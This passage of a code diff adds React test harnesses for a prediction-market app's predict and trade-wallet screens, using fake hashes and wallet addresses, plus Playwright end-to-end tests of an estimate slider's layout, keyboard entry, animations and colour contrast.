estimate.scale), + held: { up: 0n, down: 0n, invalid: 0n }, + splitAmount: HELD_UNDERLYING + (funding?.collateralIn ?? 0n), + }, + SLIPPAGE_BPS, + )!; + const { from, to, ...plan } = trades; + const shownTo = priceWadToEstimate(to, estimate.scale); + return [ + estimate.scale.market.toLowerCase(), + { + from: priceWadToEstimate(from, estimate.scale), + to: shownTo, + plan: { ...plan, held: plan.split > 0n ? HELD_UNDERLYING : 0n }, + // the moved option's plan changed: it was shown going 20 further + ...(state === "moved" && index === movedIndex ? { was: { from: 250, to: shownTo + 20 } } : {}), + }, + ]; + }), +); +const progress = PROGRESS[state] ?? null; +const isRunning = state === "quoting" || state === "signing" || state === "confirming"; +/** The stored run `state=recovered` resumes: 4 of the pay token, and 2 credits from the visitor's wallet with `credits=`. */ +const RECOVERED = { deposit: 4n * WAD, creditsFromEoa: heldCredits ? 2n * WAD : 0n }; +// a stored run's funds row is its own, as PredictRunner builds it, not the form's +const stepsFor = (shown: typeof funding) => + predictSteps({ + wallet: { address: WALLET, deployed: !isFirstPrediction }, + ...(state === "recovered" + ? { + toAdd: RECOVERED.deposit, + symbol: payToken.symbol, + decimals: payToken.decimals, + ...(RECOVERED.creditsFromEoa > 0n ? { credits: RECOVERED.creditsFromEoa } : {}), + } + : fundsToAdd(state === "over" ? null : shown, payToken, collateral)), + progress, + }); + +/** `?run=` the finished run the receipt lists; `?chain=local` a chain with no explorer. */ +const runKind = params.get("run") ?? "single"; +const fakeHash = (n: number) => `0x${n.toString(16).padStart(2, "0").repeat(32)}` as Hash; +const RECEIPT_STEPS: Record = { + single: [ + { id: "create-wallet", hash: fakeHash(1) }, + { id: "deposit", hash: fakeHash(2) }, + { id: "predict-1", hash: fakeHash(3) }, + ], + batches: [ + { id: "create-wallet", hash: fakeHash(1) }, + { id: "deposit", hash: fakeHash(2) }, + { id: "predict-1", hash: fakeHash(3) }, + { id: "predict-2", hash: fakeHash(4) }, + { id: "predict-3", hash: fakeHash(5) }, + ], + credits: [ + { id: "create-wallet", hash: fakeHash(1) }, + { id: "add-credits", hash: fakeHash(6) }, + { id: "deposit", hash: fakeHash(2) }, + { id: "predict-1", hash: fakeHash(3) }, + ], + recovered: [{ id: "create-wallet", hash: fakeHash(1) }, { id: "deposit" }, { id: "predict-1", hash: fakeHash(3) }], + returning: [{ id: "create-wallet" }, { id: "deposit", hash: fakeHash(2) }, { id: "predict-1", hash: fakeHash(3) }], + worst: [ + { id: "create-wallet", hash: fakeHash(1) }, + { id: "add-credits", hash: fakeHash(6) }, + { id: "deposit", hash: fakeHash(2) }, + { id: "predict-1", hash: fakeHash(3) }, + { id: "predict-2", hash: fakeHash(4) }, + { id: "predict-3", hash: fakeHash(5) }, + ], +}; +const receiptFunds = + runKind === "recovered" + ? { toAdd: 4n * WAD, symbol: "xDAI", decimals: 18 } + : runKind === "credits" || runKind === "worst" + ? { toAdd: 8n * WAD, symbol: "sDAI", decimals: 18, credits: 2n * WAD } + : { toAdd: 10n * WAD, symbol: "sDAI", decimals: 18 }; +const receiptChain = params.get("chain") === "local" ? {} : gnosis; + +const success = ( + explorerTxUrl(hash, receiptChain)} + leftOut={count > 2 ? CITIES.slice(2, count) : []} + onClose={() => {}} + subscribed={params.get("subscribed") !== "0"} + email="visitor@example.com" + isEmailVerified={isEmailVerified} + // the app's sign-in needs a wallet; this draws its button as PredictSuccessDialog does + signUp={ + {}} + /> + } + /> +); + +function Harness() { + const [leftOut, setLeftOut] = useState(initialLeftOut); + const [isOpen, setIsOpen] = useState(!opensOnPress); + const slippage = useSlippageStore((store) => store.settings); + const setSlippage = useSlippageStore((store) => store.setSlippage); + useEffect(() => { + if (settingsOpen) document.querySelector('button[aria-label="Settings"]')?.click(); + }, []); + const [typed, setTyped] = useState(amount); + const [isUsing, setIsUsing] = useState(true); + const shown = isUsing ? fundingFor(true) : funding; + useEffect(() => { + const onLeftOut = (event: Event) => setLeftOut((event as CustomEvent).detail); + window.addEventListener("harness-left-out", onLeftOut); + return () => window.removeEventListener("harness-left-out", onLeftOut); + }, []); + return ( + <> +
+ {dialog === "success" ? success : null} + {opensOnPress ? ( + + ) : null} + {}} + selected={selected} + onRemove={() => {}} + // pools that could not be read plan nothing, as the app's preview does + preview={state === "recovered" || pricesFailed ? undefined : preview} + amount={typed} + onAmountChange={setTyped} + tokens={paysNative ? [sDai, xDai] : tokens} + token={payToken} + onTokenChange={() => {}} + funding={shown} + collateral={collateral} + credits={offer.state === "none" ? undefined : { offer, isUsing, onUsingChange: setIsUsing }} + optionNoun="city" + isFirstPrediction={isFirstPrediction} + isDisconnected={state === "disconnected"} + steps={stepsFor(shown)} + leftOut={leftOut} + isRunning={isRunning} + canRetry={state === "failed" || state === "pending" || state === "recovered"} + isPending={state === "pending"} + recovered={ + state === "recovered" + ? { + deposit: RECOVERED.deposit, + funding: { collateralIn: RECOVERED.deposit, creditsIn: 0n, fromTradeWallet: 0n }, + depositSettled: true, + firstBatchSettled: true, + token: payToken, + // by default, 4 xDAI at the harness's 1.0937 xDAI an sDAI + ...(paysNative ? { deposited: parseUnits(depositedParam, 18) } : {}), + slippage: { tradeBps: 100 }, + } + : undefined + } + notice={ + state === "disconnected" + ? "Connect a wallet to predict." + : pricesFailed + ? "Prices could not be read." + : undefined + } + slippage={{ settings: slippage, onChange: setSlippage }} + creditsSwap={ + swapLoss !== null && shown && shown.creditsIn > 0n + ? { + credits: shown.creditsIn, + preview: { + amount: shown.creditsIn, + creditsBps: DEFAULT_SLIPPAGE.creditsBps, + quoted: shown.creditsIn, + vaultValue: shown.creditsIn + parseUnits(swapLoss, 18), + floor: shown.creditsIn, + loss: parseUnits(swapLoss, 18), + minted: shown.creditsIn, + }, + } + : undefined + } + moved={ + state === "moved" + ? { markets: 1, credits: false, ...(movedBySlippage ? { bySlippage: true as const } : {}) } + : undefined + } + pricesReady={!pricesLoading && !pricesFailed} + onBack={state === "moved" ? () => {} : undefined} + onRetryPrices={pricesFailed ? () => {} : undefined} + onPredict={() => {}} + /> + + ); +} + +createRoot(document.getElementById("root")!).render(); diff --git a/apps/web/e2e/harness/trade-wallet/index.html b/apps/web/e2e/harness/trade-wallet/index.html new file mode 100644 index 00000000..f7f17347 --- /dev/null +++ b/apps/web/e2e/harness/trade-wallet/index.html @@ -0,0 +1,12 @@ + + + + + + Trade wallet harness + + +
+ + + diff --git a/apps/web/e2e/harness/trade-wallet/main.tsx b/apps/web/e2e/harness/trade-wallet/main.tsx new file mode 100644 index 00000000..787d9ba9 --- /dev/null +++ b/apps/web/e2e/harness/trade-wallet/main.tsx @@ -0,0 +1,75 @@ +import { createRoot } from "react-dom/client"; + +import clsx from "clsx"; +import { parseUnits, type Address } from "viem"; + +import { AmountDialog } from "@/features/trade-executor/components/TradeWallet/AmountDialog"; +import { OptionBalances } from "@/features/trade-executor/components/TradeWallet/OptionBalances"; +import { TRADE_WALLET_CARD } from "@/features/trade-executor/components/TradeWallet/tradeWalletCard"; +import type { TradeWalletOption } from "@/features/trade-executor/types"; + +import "@/styles/global.css"; +import "../inter.css"; + +/** From a name wider than any card to a two-letter one, in Latin, German compound and CJK text. */ +const NAMES = [ + "Greater Metropolitan Region of São Paulo and Surrounding Areas", + "Lisbon metropolitan area", + "Benachrichtigungseinstellungen", + "東京都特別区部および多摩地域", + "Jo", +]; + +const params = new URLSearchParams(window.location.search); +/** `?view=balances` the option balances in a page column; `?view=mint` the Mint dialog. */ +const view = params.get("view") ?? "balances"; +/** `?available=` what Mint may use, as a decimal. */ +const available = parseUnits(params.get("available") ?? "1588.1092", 18); + +const address = (index: number, side: string) => `0x${side}${String(index + 1).padStart(39, "0")}` as Address; + +const options: TradeWalletOption[] = NAMES.map((name, index) => ({ + token: address(index, "a"), + name, + color: "#009aff", + positions: [ + { side: "UP", token: address(index, "b") }, + { side: "DOWN", token: address(index, "c") }, + ], +})); +const positions = new Map( + options.flatMap((option) => [ + [option.positions[0]!.token, parseUnits("12345678.9", 18)], + [option.positions[1]!.token, parseUnits("0.5", 18)], + ]), +); + +createRoot(document.getElementById("root")!).render( + view === "mint" ? ( + {}} + title="Mint city tokens" + hint="Turns sDAI in your trade wallet into city tokens." + actionText="Mint" + available={available} + isLoadingBalance={false} + decimals={18} + symbol="sDAI" + onSubmit={() => {}} + isPending={false} + /> + ) : ( +
+
+ parseUnits("123456789.12", 18))} + positions={positions} + noun="city" + decimals={18} + /> +
+
+ ), +); diff --git a/apps/web/e2e/tests/estimate-slider.spec.ts b/apps/web/e2e/tests/estimate-slider.spec.ts new file mode 100644 index 00000000..97fba5e1 --- /dev/null +++ b/apps/web/e2e/tests/estimate-slider.spec.ts @@ -0,0 +1,823 @@ +import { expect, test, type Page } from "@playwright/test"; + +import { PIN_PREFLIGHT_DROP } from "../../src/features/predict/utils/marketPin"; +import { openHarness, startHarness } from "../utils/component-harness"; + +/** The slider's track in an option card: 375 and 1280 wide windows. */ +const TRACKS = [311, 1112]; +/** The track at 320 and 360 wide. */ +const PHONE_TRACKS = [256, 296]; +const MARKET = 75; + +let harness: Awaited>; + +test.beforeAll(async () => { + harness = await startHarness("estimate-slider"); +}); + +test.afterAll(async () => { + await harness?.close(); +}); + +type Box = { left: number; top: number; right: number; bottom: number }; + +async function open(page: Page, query: Record) { + const search = new URLSearchParams(Object.entries(query).map(([key, value]) => [key, String(value)])); + await openHarness(page, `${harness.url}?${search}`); + await expect(page.getByTestId("market-chip")).toBeVisible(); +} + +const settle = (page: Page) => + page + .evaluate(() => new Promise((resolve) => requestAnimationFrame(() => requestAnimationFrame(resolve)))) + .then(() => page.waitForFunction(() => document.getAnimations().length === 0)); + +/** Where everything the pin can collide with is drawn, in page px, once it has settled. */ +async function geometry(page: Page) { + await settle(page); + return page.evaluate(() => { + const box = (element: Element | null): Box | null => { + if (!element) return null; + const { left, top, right, bottom } = element.getBoundingClientRect(); + return { left, top, right, bottom }; + }; + const pin = document.querySelector('[data-testid="market-pin"]')!; + const bound = (side: string) => document.querySelector(`[data-bound="${side}"]`)!; + return { + placement: pin.dataset.placement, + drop: Number(pin.dataset.drop), + chip: box(pin.querySelector('[data-testid="market-chip"]')), + stick: box(pin.querySelector('[data-testid="market-stick"]')), + pill: box(document.querySelector('[data-testid="value-pill"]')), + thumb: box(document.querySelector("#slider-label")!.parentElement), + track: box(document.querySelector("#slider-track")), + lower: { box: box(bound("lower")), hidden: getComputedStyle(bound("lower")).visibility === "hidden" }, + upper: { box: box(bound("upper")), hidden: getComputedStyle(bound("upper")).visibility === "hidden" }, + overflow: document.documentElement.scrollWidth - document.documentElement.clientWidth, + }; + }); +} + +const overlaps = (a: Box | null, b: Box | null) => + a !== null && b !== null && a.left < b.right && b.left < a.right && a.top < b.bottom && b.top < a.bottom; + +for (const track of TRACKS) { + test.describe(`the market pin on a ${track}px track`, () => { + // the pin's moves are transitions; geometry is read where they land + test.use({ viewport: { width: track + 64, height: 400 }, contextOptions: { reducedMotion: "reduce" } }); + + test("sits under the track with no estimate set, the pill showing the market's number", async ({ page }) => { + await open(page, { track, market: MARKET }); + const shown = await geometry(page); + + expect(shown.placement).toBe("down"); + await expect(page.getByTestId("value-pill")).toHaveText(`${MARKET} %`); + }); + + test("never draws the chip over the pill or the thumb, nor the stick through the pill, from 0 to 100", async ({ + page, + }) => { + await open(page, { track, market: MARKET, value: 0 }); + const slider = page.getByRole("slider"); + await slider.focus(); + for (let value = 0; value <= 100; value++) { + if (value > 0) await slider.press("ArrowRight"); + const shown = await geometry(page); + expect.soft(overlaps(shown.chip, shown.pill), `chip over the pill at ${value}`).toBe(false); + expect.soft(overlaps(shown.chip, shown.thumb), `chip over the thumb at ${value}`).toBe(false); + expect.soft(overlaps(shown.stick, shown.pill), `stick through the pill at ${value}`).toBe(false); + expect.soft(shown.pill!.left, `pill's left edge at ${value}`).toBeGreaterThanOrEqual(shown.track!.left - 0.5); + expect.soft(shown.pill!.right, `pill's right edge at ${value}`).toBeLessThanOrEqual(shown.track!.right + 0.5); + for (const side of ["lower", "upper"] as const) { + const bound = shown[side]; + // a bound steps aside only for a dropped chip that sits on it + expect + .soft(bound.hidden, `${side} bound at ${value}`) + .toBe(shown.placement === "down" && overlaps(shown.chip, bound.box)); + } + } + }); + + test("dips the chip as the value nears it, keeping it above the track, before it drops", async ({ page }) => { + await open(page, { track, market: MARKET, value: 0 }); + const slider = page.getByRole("slider"); + await slider.focus(); + const raisedTop = (await geometry(page)).chip!.top; + + const dips: number[] = []; + for (let value = 1; value <= MARKET; value++) { + await slider.press("ArrowRight"); + const shown = await geometry(page); + if (shown.placement === "down") break; + if (shown.drop > 0) { + dips.push(shown.drop); + expect.soft(shown.chip!.top, `chip dipped at ${value}`).toBeGreaterThan(raisedTop); + expect.soft(shown.chip!.bottom, `chip above the track at ${value}`).toBeLessThanOrEqual(shown.track!.top); + } + } + + expect(dips.length, "steps in the preflight dip").toBeGreaterThan(1); + expect(dips, "the dip deepens as the value nears").toEqual([...dips].sort((a, b) => a - b)); + expect(Math.max(...dips)).toBeLessThanOrEqual(PIN_PREFLIGHT_DROP); + await expect(page.getByTestId("market-pin")).toHaveAttribute("data-placement", "down"); + }); + + for (const market of [0, 2, 98, 100]) { + test(`keeps the chip on the track with the market at ${market}`, async ({ page }) => { + for (const value of [undefined, market, 50]) { + await open(page, { track, market, ...(value === undefined ? {} : { value }) }); + const shown = await geometry(page); + + expect.soft(shown.chip!.left, "chip's left edge").toBeGreaterThanOrEqual(shown.track!.left - 0.5); + expect.soft(shown.chip!.right, "chip's right edge").toBeLessThanOrEqual(shown.track!.right + 0.5); + expect.soft(shown.overflow, "the page scrolls sideways").toBe(0); + for (const side of ["lower", "upper"] as const) { + expect + .soft(shown[side].hidden, `${side} bound with the estimate at ${value ?? "none"}`) + .toBe(shown.placement === "down" && overlaps(shown.chip, shown[side].box)); + } + } + }); + } + + for (const [name, query] of [ + ["a millions scale", { market: 3250000, upper: 5000000, unit: "$M" }], + ["a percent scale near its top", { market: 85 }], + ["a percent scale near its bottom", { market: 15 }], + ] as const) { + test(`names both ends of ${name} beside a dropped chip`, async ({ page }) => { + await open(page, { track, ...query }); + const shown = await geometry(page); + + expect(shown.placement).toBe("down"); + for (const side of ["lower", "upper"] as const) { + expect.soft(shown[side].hidden, `${side} bound hidden`).toBe(false); + expect.soft(overlaps(shown.chip, shown[side].box), `chip over the ${side} bound`).toBe(false); + } + }); + } + + test("never draws the chip over the open field as the value nears the market", async ({ page }) => { + await open(page, { track, market: MARKET, value: 40 }); + const slider = page.getByRole("slider"); + const pill = page.getByRole("button", { name: "type your estimate for Movie A" }); + for (let value = 41; value < MARKET; value++) { + await slider.focus(); + await slider.press("ArrowRight"); + await pill.click(); + const shown = await geometry(page); + expect.soft(overlaps(shown.chip, shown.pill), `chip over the open field at ${value}`).toBe(false); + await page.getByRole("textbox").press("Escape"); + } + }); + + test("moves the pin only when the committed value changes, not as the pill opens or takes typing", async ({ + page, + }) => { + // a raised chip in its dip, where a wider pill would drop it + const value = track === 311 ? 54 : 69; + await open(page, { track, market: MARKET, value }); + const pin = async () => { + const { placement, drop } = await geometry(page); + return { placement, drop }; + }; + const field = page.getByRole("textbox"); + const resting = await pin(); + expect(resting.drop, "the pin rests in its dip").toBeGreaterThan(0); + expect(resting.drop).toBeLessThan(1); + const closed = (await geometry(page)).pill!; + + await page.getByRole("button", { name: "type your estimate for Movie A" }).click(); + expect.soft(await pin(), "the field opened").toEqual(resting); + for (const typed of ["5", "55", "5555", "5555555", "555555555", "55555555555555"]) { + await field.fill(typed); + expect.soft(await pin(), `"${typed}" typed`).toEqual(resting); + const { pill } = await geometry(page); + expect + .soft(pill!.right - pill!.left, `the field's width with "${typed}"`) + .toBeGreaterThanOrEqual(closed.right - closed.left - 0.5); + } + await field.press("Escape"); + expect.soft(await pin(), "Escape").toEqual(resting); + + await page.getByRole("button", { name: "type your estimate for Movie A" }).click(); + await field.fill(String(value)); + await field.press("Enter"); + expect.soft(await pin(), "the same value committed").toEqual(resting); + }); + + test("takes a press 9px above the thumb's circle, inside its 44px target, as the thumb's, and one just above the pill as the pill's", async ({ + page, + }) => { + await open(page, { track, market: MARKET, value: 20 }); + const { thumb, pill } = await geometry(page); + const hits = await page.evaluate( + (points) => { + const thumb = document.querySelector("#slider-label")!.parentElement!; + const pill = document.querySelector('[data-testid="value-pill"] button')!; + const [above, overPill] = points.map(([x, y]) => document.elementFromPoint(x!, y!)); + return [thumb.contains(above!), pill.contains(overPill!)]; + }, + [ + // the target reaches 10px past the 24px circle; the pill's foot lies over that band + [(thumb!.left + thumb!.right) / 2, thumb!.top - 9], + [(pill!.left + pill!.right) / 2, pill!.top - 6], + ], + ); + + expect(hits).toEqual([true, true]); + }); + + test("takes a press 9px beside the thumb as the thumb's", async ({ page }) => { + await open(page, { track, market: MARKET, value: 50 }); + const { thumb } = await geometry(page); + const middle = (thumb!.top + thumb!.bottom) / 2; + const hits = await page.evaluate( + (points) => + points.map(([x, y]) => { + const thumb = document.querySelector("#slider-label")!.parentElement!; + const hit = document.elementFromPoint(x!, y!); + return hit !== null && (hit === thumb || thumb.contains(hit)); + }), + [ + [thumb!.left - 9, middle], + [thumb!.right + 9, middle], + ], + ); + + expect(hits).toEqual([true, true]); + }); + }); +} + +for (const track of PHONE_TRACKS) { + test.describe(`the bounds on a ${track}px track`, () => { + test.use({ viewport: { width: track + 64, height: 400 }, contextOptions: { reducedMotion: "reduce" } }); + + for (const market of [15, 85]) { + test(`are both named beside a dropped chip at market ${market}`, async ({ page }) => { + await open(page, { track, market }); + const shown = await geometry(page); + + expect(shown.placement).toBe("down"); + for (const side of ["lower", "upper"] as const) { + expect.soft(shown[side].hidden, `${side} bound hidden`).toBe(false); + expect.soft(overlaps(shown.chip, shown[side].box), `chip over the ${side} bound`).toBe(false); + } + }); + } + }); +} + +/** The grid value nearest the market on `side` of it at which the pin still stands raised, if any. */ +async function lastRaised( + page: Page, + query: { track: number; market: number; upper: number; unit: string }, + side: "below" | "above", +) { + const step = 10 ** (Math.floor(Math.log10(query.upper)) - 2); + const raisedAt = async (index: number) => { + await open(page, { ...query, value: index * step }); + return (await geometry(page)).placement === "up"; + }; + const marketIndex = query.market / step; + // `far` starts at the scale's end, `near` at the market, where the pin is dropped + let [far, near] = side === "below" ? [0, marketIndex] : [query.upper / step, marketIndex]; + while (Math.abs(far - near) > 1) { + const middle = Math.round((far + near) / 2); + if (await raisedAt(middle)) far = middle; + else near = middle; + } + return (await raisedAt(far)) ? far * step : undefined; +} + +for (const track of [...PHONE_TRACKS, ...TRACKS]) { + test.describe(`an open field beside a raised chip on a ${track}px track`, () => { + test.use({ viewport: { width: track + 64, height: 400 }, contextOptions: { reducedMotion: "reduce" } }); + + for (const [name, query, drafts] of [ + ["a millions scale", { market: 3250000, upper: 5000000, unit: "$M" }, ["4 999 999", "4999999.99"]], + ["a percent scale", { market: 75, upper: 100, unit: "%" }, ["55.555", "100.00"]], + ] as const) { + for (const side of ["below", "above"] as const) { + test(`never runs under the chip on ${name}, typed into ${side} the market`, async ({ page }) => { + const value = await lastRaised(page, { track, ...query }, side); + test.skip(value === undefined, `the pin drops for every value ${side} the market`); + await page.getByRole("button", { name: "type your estimate for Movie A" }).click(); + for (const draft of drafts) { + await page.getByRole("textbox").fill(draft); + const shown = await geometry(page); + expect.soft(shown.placement, `the pin with "${draft}" at ${value}`).toBe("up"); + expect.soft(overlaps(shown.chip, shown.pill), `"${draft}" under the chip at ${value}`).toBe(false); + } + }); + } + } + }); +} + +test.describe("the value pill", () => { + test.use({ viewport: { width: 375, height: 400 } }); + + const pill = (page: Page) => page.getByRole("button", { name: "type your estimate for Movie A" }); + const field = (page: Page) => page.getByRole("textbox", { name: "Your estimate for Movie A" }); + + test("leaves the thumb where it is while a number is typed, and moves it on Enter", async ({ page }) => { + await open(page, { track: 311, market: MARKET, value: 40 }); + const slider = page.getByRole("slider"); + + await pill(page).click(); + await field(page).fill("90"); + await expect(slider).toHaveValue("40"); + await field(page).press("Enter"); + + await expect(slider).toHaveValue("90"); + await expect(pill(page)).toBeFocused(); + }); + + test("keeps a rounding note until focus moves on, then shows the hint again", async ({ page }) => { + await open(page, { track: 311, market: MARKET, value: 40 }); + const status = page.getByRole("status"); + + await pill(page).click(); + await field(page).fill("55.5"); + await field(page).press("Enter"); + await expect(status).toHaveText("Rounded to 56 %."); + await page.waitForTimeout(300); + await expect(status).toHaveText("Rounded to 56 %."); + + await page.keyboard.press("Shift+Tab"); + await expect(status).toHaveText(""); + await expect(page.getByText("19 % below the market")).toBeVisible(); + }); + + for (const [typed, said] of [ + ["33.333", "Rounded to 33 %."], + ["5000", "The most is 100 %."], + ] as const) { + test(`says "${said}" for ${typed} entered after a note that it was not a number`, async ({ page }) => { + await open(page, { track: 311, market: MARKET, value: 40 }); + const status = page.getByRole("status"); + + await pill(page).click(); + await field(page).fill("abc"); + await field(page).press("Enter"); + await expect(status).toHaveText("Enter a number."); + await field(page).fill(typed); + await field(page).press("Enter"); + + await expect(status).toHaveText(said); + await settle(page); + await page.waitForTimeout(300); + await expect(status).toHaveText(said); + }); + } + + for (const [how, close] of [ + ["Tab", (page: Page) => page.keyboard.press("Tab")], + ["Shift+Tab", (page: Page) => page.keyboard.press("Shift+Tab")], + ["a press outside", (page: Page) => page.mouse.click(5, 380)], + ] as const) { + test(`keeps a rounding note applied as ${how} closes the field, until the next press`, async ({ page }) => { + await open(page, { track: 311, market: MARKET, value: 40 }); + const status = page.getByRole("status"); + + await pill(page).click(); + await field(page).fill("55.5"); + await close(page); + await settle(page); + await expect(status).toHaveText("Rounded to 56 %."); + + await page.mouse.click(5, 380); + await expect(status).toHaveText(""); + }); + } + + /** Records every animation that starts from here on: its name, what it animates and for how long. */ + const recordMotion = (page: Page) => + page.evaluate(() => { + const started: { name: string; properties: string[]; duration: number }[] = []; + (window as unknown as { started: typeof started }).started = started; + document.addEventListener("animationstart", (event) => { + const animation = (event.target as Element) + .getAnimations() + .find((running) => (running as CSSAnimation).animationName === event.animationName)!; + const properties = (animation.effect as KeyframeEffect) + .getKeyframes() + .flatMap((frame) => Object.keys(frame)) + .filter((key) => !["offset", "easing", "composite", "computedOffset"].includes(key)); + started.push({ + name: event.animationName, + properties: [...new Set(properties)].sort(), + duration: Number(animation.effect!.getComputedTiming().duration), + }); + }); + }); + const motion = (page: Page) => + page.evaluate(() => + (window as unknown as { started: { name: string; properties: string[]; duration: number }[] }).started.splice(0), + ); + + test("settles into place by transform when a typed number is applied, and not when the field is cancelled", async ({ + page, + }) => { + await open(page, { track: 311, market: MARKET, value: 40 }); + await recordMotion(page); + + await pill(page).click(); + await field(page).fill("90"); + await field(page).press("Escape"); + await expect(pill(page)).toBeFocused(); + // an animation the cancel started would show by the second frame + await page.evaluate(() => new Promise((resolve) => requestAnimationFrame(() => requestAnimationFrame(resolve)))); + expect(await motion(page), "after Escape").toEqual([]); + await expect(pill(page)).not.toHaveClass(/fs-pill-commit/); + + await pill(page).click(); + await field(page).fill("90"); + await field(page).press("Enter"); + await expect(pill(page)).toBeFocused(); + await expect.poll(() => page.evaluate(() => (window as unknown as { started: unknown[] }).started.length)).toBe(1); + expect(await motion(page), "after Enter").toEqual([ + { name: "fsPillCommit", properties: ["opacity", "transform"], duration: 250 }, + ]); + await page.waitForFunction(() => document.getAnimations().length === 0); + await page.evaluate(() => (window as unknown as { started: unknown[] }).started.splice(0)); + + await pill(page).click(); + await field(page).fill("60"); + // a press outside the pill blurs the field, which applies what it holds + await page.mouse.click(5, 5); + await expect(pill(page)).toContainText("60"); + await expect.poll(() => page.evaluate(() => (window as unknown as { started: unknown[] }).started.length)).toBe(1); + expect(await motion(page), "after a click away").toEqual([ + { name: "fsPillCommit", properties: ["opacity", "transform"], duration: 250 }, + ]); + }); + + test.describe("with reduced motion", () => { + test.use({ contextOptions: { reducedMotion: "reduce" } }); + + test("applies a typed number with no settling motion", async ({ page }) => { + await open(page, { track: 311, market: MARKET, value: 40 }); + await recordMotion(page); + + await pill(page).click(); + await field(page).fill("90"); + await field(page).press("Enter"); + await expect(page.getByRole("slider")).toHaveValue("90"); + await settle(page); + + const started = await motion(page); + expect( + started.every(({ duration }) => duration <= 1), + JSON.stringify(started), + ).toBe(true); + }); + }); + + test("keeps the value on Escape", async ({ page }) => { + await open(page, { track: 311, market: MARKET, value: 40 }); + + await pill(page).click(); + await field(page).fill("90"); + await field(page).press("Escape"); + + await expect(page.getByRole("slider")).toHaveValue("40"); + await expect(pill(page)).toBeFocused(); + }); + + test("applies a typed number when the field loses focus", async ({ page }) => { + await open(page, { track: 311, market: MARKET, value: 40 }); + + await pill(page).click(); + await field(page).fill("62"); + await page.mouse.click(5, 380); + + await expect(page.getByRole("slider")).toHaveValue("62"); + }); + + test("holds the unit beside the typed number", async ({ page }) => { + await open(page, { track: 311, market: MARKET, value: 40 }); + + await pill(page).click(); + const gap = await page.evaluate(() => { + const input = document.querySelector('[data-testid="value-pill"] input')!; + const unit = input.nextElementSibling!; + const range = document.createRange(); + range.selectNodeContents(unit); + // the input's text width, measured on a copy of its font + const probe = document.createElement("span"); + probe.style.font = getComputedStyle(input).font; + probe.style.fontVariantNumeric = "tabular-nums"; + probe.textContent = input.value; + document.body.append(probe); + const textRight = input.getBoundingClientRect().left + probe.getBoundingClientRect().width; + probe.remove(); + return range.getBoundingClientRect().left - textRight; + }); + + expect(gap).toBeLessThanOrEqual(10); + }); + + test("shows the start of a long number in the field", async ({ page }) => { + await open(page, { track: 256, market: 3250000, lower: 0, upper: 5000000, unit: "$M", value: 4000000 }); + + await pill(page).click(); + await page.getByRole("textbox").fill("4999999.99"); + const input = page.getByRole("textbox"); + + expect(await input.evaluate((field) => field.scrollWidth - field.clientWidth)).toBeLessThanOrEqual(1); + }); + + test("is reached by Tab from the slider and opened by Enter", async ({ page }) => { + await open(page, { track: 311, market: MARKET, value: 40 }); + + await page.getByRole("slider").focus(); + await page.keyboard.press("Tab"); + await expect(pill(page)).toBeFocused(); + await page.keyboard.press("Enter"); + + await expect(field(page)).toBeFocused(); + }); +}); + +/** The WCAG contrast of an element's text on its own background, both resolved through a canvas to sRGB. */ +function contrast(page: Page, selector: string) { + return page.evaluate((selector) => { + const element = document.querySelector(selector)!; + const style = getComputedStyle(element); + const context = document.createElement("canvas").getContext("2d", { willReadFrequently: true })!; + const luminance = (css: string) => { + context.clearRect(0, 0, 1, 1); + context.fillStyle = css; + context.fillRect(0, 0, 1, 1); + const [r, g, b] = Array.from(context.getImageData(0, 0, 1, 1).data.slice(0, 3), (channel) => { + const c = channel / 255; + return c <= 0.04045 ? c / 12.92 : ((c + 0.055) / 1.055) ** 2.4; + }); + return 0.2126 * r! + 0.7152 * g! + 0.0722 * b!; + }; + const [light, dark] = [luminance(style.color), luminance(style.backgroundColor)].sort((a, b) => b - a); + return (light! + 0.05) / (dark! + 0.05); + }, selector); +} + +test.describe("the market chip's text", () => { + test.use({ viewport: { width: 375, height: 400 } }); + + for (const theme of ["light", "dark"]) { + test(`reads at AA in the ${theme} theme`, async ({ page }) => { + await open(page, { track: 311, market: MARKET, theme }); + + expect(await contrast(page, '[data-testid="market-chip"]')).toBeGreaterThanOrEqual(4.5); + }); + } +}); + +test.describe("the value pill's tint", () => { + test.use({ viewport: { width: 375, height: 400 } }); + const PILL = '[data-testid="value-pill"] button'; + + for (const theme of ["light", "dark"]) { + test(`speaks in the hint's direction colour, at AA, above and below the market in the ${theme} theme`, async ({ + page, + }) => { + const backgrounds = new Set(); + for (const value of [90, 40]) { + await open(page, { track: 311, market: MARKET, value, theme }); + const hint = await page + .getByRole("status") + .locator("xpath=following-sibling::span") + .evaluate((span) => getComputedStyle(span).color); + + await expect(page.locator(PILL)).toHaveCSS("color", hint); + expect(await contrast(page, PILL), `at ${value}`).toBeGreaterThanOrEqual(4.5); + backgrounds.add(await page.locator(PILL).evaluate((pill) => getComputedStyle(pill).backgroundColor)); + } + expect(backgrounds.size, "a tint per direction").toBe(2); + }); + + test(`is neutral, at AA, at the market in the ${theme} theme`, async ({ page }) => { + await open(page, { track: 311, market: MARKET, theme }); + const [text, chip] = await page.locator(PILL).evaluate((pill) => { + const probe = document.createElement("span"); + probe.style.color = "var(--fs-popup-text)"; + probe.style.backgroundColor = "var(--fs-popup-chip)"; + pill.append(probe); + const tones = [getComputedStyle(probe).color, getComputedStyle(probe).backgroundColor]; + probe.remove(); + return tones; + }); + + await expect(page.locator(PILL)).toHaveCSS("color", text!); + await expect(page.locator(PILL)).toHaveCSS("background-color", chip!); + expect(await contrast(page, PILL)).toBeGreaterThanOrEqual(4.5); + }); + } +}); + +test.describe("the fill's direction colour", () => { + test.use({ viewport: { width: 375, height: 400 } }); + + /** The coloured span's ends and the track's points for the market and the thumb, in page px. */ + const spanAgainst = (page: Page, value: number) => + page.evaluate( + ([market, value]: [number, number]) => { + const track = document.querySelector("#slider-track")!.getBoundingClientRect(); + const span = document.querySelector('[data-testid="estimate-span"]')!.getBoundingClientRect(); + const at = (share: number) => track.left + (share / 100) * track.width; + return { + span: [span.left, span.right], + ends: [at(Math.min(market, value)), at(Math.max(market, value))], + centre: [span.top + span.height / 2, track.top + track.height / 2], + }; + }, + [MARKET, value] as [number, number], + ); + + // light: the darker tones that hold 3:1 on the card's surface; dark: futarchy's pastels + for (const [theme, up, down] of [ + ["light", "rgb(22, 163, 74)", "rgb(224, 64, 95)"], + ["dark", "rgb(210, 255, 220)", "rgb(255, 210, 219)"], + ] as const) { + test(`paints only the gap to the market, ${up} above and ${down} below, in the ${theme} theme`, async ({ + page, + }) => { + for (const [value, colour] of [ + [90, up], + [40, down], + ] as const) { + await open(page, { track: 311, market: MARKET, value, theme }); + await 